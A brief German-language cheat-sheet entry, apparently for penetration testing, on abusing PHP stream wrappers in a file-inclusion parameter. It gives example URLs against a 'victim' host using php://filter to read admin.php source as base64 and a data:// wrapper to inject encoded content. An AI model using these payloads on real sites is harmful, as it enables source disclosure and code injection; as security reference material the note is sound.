PHP

PHP Wrapper

http://victim/menu.php?file=data://text
http://victiom/menu.php?file=php://filter/convert.base64-encode/resource=admin.php
data://text/plain;base64,<ENKODIERTE DATEN>

Der Data wrapper benötigt die Option allow_url_include, welche standardmäßig nicht aktiviert ist.